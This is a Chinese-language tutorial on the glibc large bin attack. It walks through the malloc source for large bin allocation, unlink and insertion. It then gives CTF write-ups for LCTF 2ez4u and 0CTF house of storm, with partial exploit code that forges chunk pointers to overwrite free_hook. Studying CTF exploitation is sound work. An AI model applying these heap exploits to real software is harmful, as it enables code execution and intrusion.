largebin学习从源码到做题
字数 1735 2025-08-24 20:49:22
Large Bin Attack 从原理到实战
一、Large Bin 基础原理
1. Large Bin 概述
- 定义:大于512字节(0x400)的chunk称为large chunk,large bin用于管理这些large chunk
- 数量:共63个bin,index为64~126
- 特点:每个bin中的chunk大小不一致,处于一定区间范围内
2. Large Bin 结构特点
- 指针:除了fd、bk指针外,还有fd_nextsize和bk_nextsize两个指针
- 链表结构:
- 横向链表:fd和bk形成的循环链表
- 纵向链表:fd_nextsize和bk_nextsize形成的链表(用于加快查找速度)
3. Large Bin 排序规则
- 按照从大到小的顺序排列(表头大,表尾小)
- 相同size的chunk按free时间顺序排列
- 相同size的chunk中,只有第一个chunk会有fd_nextsize和bk_nextsize指针
二、Large Bin 操作源码分析
1. 申请Large Bin时的源码逻辑
if (!in_smallbin_range(nb)) {
bin = bin_at(av, idx);
if ((victim = first(bin)) != bin && (unsigned long)(victim->size) >= (unsigned long)(nb)) {
victim = victim->bk_nextsize;
while (((unsigned long)(size = chunksize(victim)) < (unsigned long)(nb)))
victim = victim->bk_nextsize;
if (victim != last(bin) && victim->size == victim->fd->size)
victim = victim->fd;
remainder_size = size - nb;
unlink(av, victim, bck, fwd);
if (remainder_size < MINSIZE) {
set_inuse_bit_at_offset(victim, size);
if (av != &main_arena) victim->size |= NON_MAIN_ARENA;
} else {
remainder = chunk_at_offset(victim, nb);
bck = unsorted_chunks(av);
fwd = bck->fd;
remainder->bk = bck;
remainder->fd = fwd;
bck->fd = remainder;
fwd->bk = remainder;
if (!in_smallbin_range(remainder_size)) {
remainder->fd_nextsize = NULL;
remainder->bk_nextsize = NULL;
}
set_head(victim, nb | PREV_INUSE | (av != &main_arena ? NON_MAIN_ARENA : 0));
set_head(remainder, remainder_size | PREV_INUSE);
set_foot(remainder, remainder_size);
}
void *p = chunk2mem(victim);
alloc_perturb(p, bytes);
return p;
}
}
2. Unlink操作分析
#define unlink(AV, P, BK, FD) { \
FD = P->fd; \
BK = P->bk; \
if (__builtin_expect(FD->bk != P || BK->fd != P, 0)) \
malloc_printerr(check_action, "corrupted double-linked list", P, AV); \
else { \
FD->bk = BK; \
BK->fd = FD; \
if (!in_smallbin_range(P->size) && __builtin_expect(P->fd_nextsize != NULL, 0)) { \
if (__builtin_expect(P->fd_nextsize->bk_nextsize != P, 0) || \
__builtin_expect(P->bk_nextsize->fd_nextsize != P, 0)) \
malloc_printerr(check_action, "corrupted double-linked list (not small)", P, AV); \
if (FD->fd_nextsize == NULL) { \
if (P->fd_nextsize == P) \
FD->fd_nextsize = FD->bk_nextsize = FD; \
else { \
FD->fd_nextsize = P->fd_nextsize; \
FD->bk_nextsize = P->bk_nextsize; \
P->fd_nextsize->bk_nextsize = FD; \
P->bk_nextsize->fd_nextsize = FD; \
} \
} else { \
P->fd_nextsize->bk_nextsize = P->bk_nextsize; \
P->bk_nextsize->fd_nextsize = P->fd_nextsize; \
} \
} \
} \
}
3. Free状态的Large Bin插入逻辑
victim_index = largebin_index(size);
bck = bin_at(av, victim_index);
fwd = bck->fd;
if (fwd != bck) {
size |= PREV_INUSE;
if ((unsigned long)(size) < (unsigned long)chunksize_nomask(bck->bk)) {
fwd = bck;
bck = bck->bk;
victim->fd_nextsize = fwd->fd;
victim->bk_nextsize = fwd->fd->bk_nextsize;
fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
} else {
while ((unsigned long)size < chunksize_nomask(fwd)) {
fwd = fwd->fd_nextsize;
}
if ((unsigned long)size == (unsigned long)chunksize_nomask(fwd))
fwd = fwd->fd;
else {
victim->fd_nextsize = fwd;
victim->bk_nextsize = fwd->bk_nextsize;
fwd->bk_nextsize = victim;
victim->bk_nextsize->fd_nextsize = victim;
}
bck = fwd->bk;
}
} else
victim->fd_nextsize = victim->bk_nextsize = victim;
mark_bin(av, victim_index);
victim->bk = bck;
victim->fd = fwd;
fwd->bk = victim;
bck->fd = victim;
三、Large Bin Attack 攻击原理
1. 攻击核心
通过伪造largebin堆块的bk和bk_nextsize指针,在assert时将伪造地址视为堆块,并在fake_chunk的fd和fd_nextsize处写入堆地址。
2. 攻击步骤
- 部署好bk和bk_nextsize指针
- 当发生assert时,会产生任意地址写堆地址的漏洞
- 关键代码逻辑:
else { victim->fd_nextsize = fwd; victim->bk_nextsize = fwd->bk_nextsize; // 往victim->bk_nextsize写入fake_chunk地址 fwd->bk_nextsize = victim; victim->bk_nextsize->fd_nextsize = victim; // 往fake_chunk的fd_nextsize写入assert的堆地址 } victim->bk = bck; // 往victim-bk写入fake_chunk地址 victim->fd = fwd; fwd->bk = victim; bck->fd = victim; // 往fake_chunk的fd写入assert的堆地址
3. 攻击效果
通过修改fwd的bk和bk_nextsize,造成任意地址的fd和fd_nextsize写堆地址的漏洞。
四、实战案例1:LCTF 2ez4u
1. 题目分析
- 保护全开
- 菜单题,功能:
- malloc:最大申请0x418的chunk
- free:存在UAF漏洞
- edit:可以edit已free的堆块
- show:正常打印
2. 利用思路
方法一:fastbin attack + unsortedbin attack
- 泄露地址后,利用unsorted bin攻击malloc_hook-0x50
- 在malloc_hook-0x43处构造0x7f的size头
- 利用edit写FD伪造,申请出fake chunk
- 写入onegadget
方法二:largebin attack
- 利用UAF和堆溢出伪造largebin的bk和bk_nextsize
- 通过堆块重叠泄露libc地址
- 利用fastbin attack修改arena上的top chunk地址
- 修改free_hook为system
3. 关键exp代码
# largebin attack部分
edit(0xb, p64(chunk1_addr)) # victim bk_nextsize
edit(0x1, p64(0x0)+p64(chunk1_addr)) # target
chunk2 = p64(0x0)
chunk2 += p64(0x0)
chunk2 += p64(0x421)
chunk2 += p64(0x0)
chunk2 += p64(0x0)
chunk2 += p64(chunk1_addr) #fd_nextsize
edit(0x3, chunk2) # chunk2
chunk1 = ''
chunk1 += p64(0x0)
chunk1 += p64(0x0)
chunk1 += p64(0x411)
chunk1 += p64(target_addr-0x18)
chunk1 += p64(target_addr-0x10)
chunk1 += p64(victim_addr)
chunk1 += p64(chunk2_addr)
edit(0x2, chunk1) # chunk1
edit(0x7, '7'*0x198+p64(0x410)+p64(0x411))
dele(0x6)
dele(0x3)
add(0x3f0, '3'*0x30+p64(0xdeadbeefdeadbeef)) # chunk1, arbitrary write
五、实战案例2:0CTF house of storm
1. 题目分析
- 保护全开
- 使用mmap分配内存管理堆块
- 功能:
- calloc:分配堆块,size和ptr都经过异或加密
- update:存在off-by-null漏洞
- free:正常free
- view:有检查,默认无法使用
2. 利用思路
- 利用off-by-null shrink the chunk
- 伪造largebin的bk_nextsize和bk指针
- 利用堆块插入时的unlink实现任意地址写堆地址
- 伪造fake chunk的size
- 改写unsorted bin的bk指针指向fake chunk
- 申请出fake chunk后修改view检查条件
- 泄露地址后改free_hook为onegadget
3. 关键exp代码
# 构造largebin攻击
py = ''
py += '\x00'*0x60
py += p64(0) + p64(0x491)
py += p64(0) + p64(mmap_addr-0x10)
py += '\x00'*0x470
py += p64(0x490) + p64(0x50)
update(1,len(py),py)
py = ''
py += '\x00'*0x70
py += p64(0) + p64(0x481)
py += p64(0) + p64(mmap_addr-0x10+8)
py += p64(0) + p64(mmap_addr-0x10-0x18-5)
py += '\x00'*0x450
py += p64(0x480) + p64(0x50)
update(2,len(py),py)
malloc(0x48) # 触发攻击
六、总结
- Large Bin Attack的核心是通过伪造bk和bk_nextsize指针实现任意地址写堆地址
- 通常需要结合其他漏洞如UAF、堆溢出等先实现指针的伪造
- 攻击成功后可以用于:
- 泄露地址
- 修改关键函数指针
- 构造fake chunk等
- House of Storm是结合largebin攻击和unsorted bin特性的高级利用技巧
七、防御措施
- 及时更新glibc版本
- 注意指针和size的检查
- 避免UAF、堆溢出等漏洞
- 使用安全的内存管理函数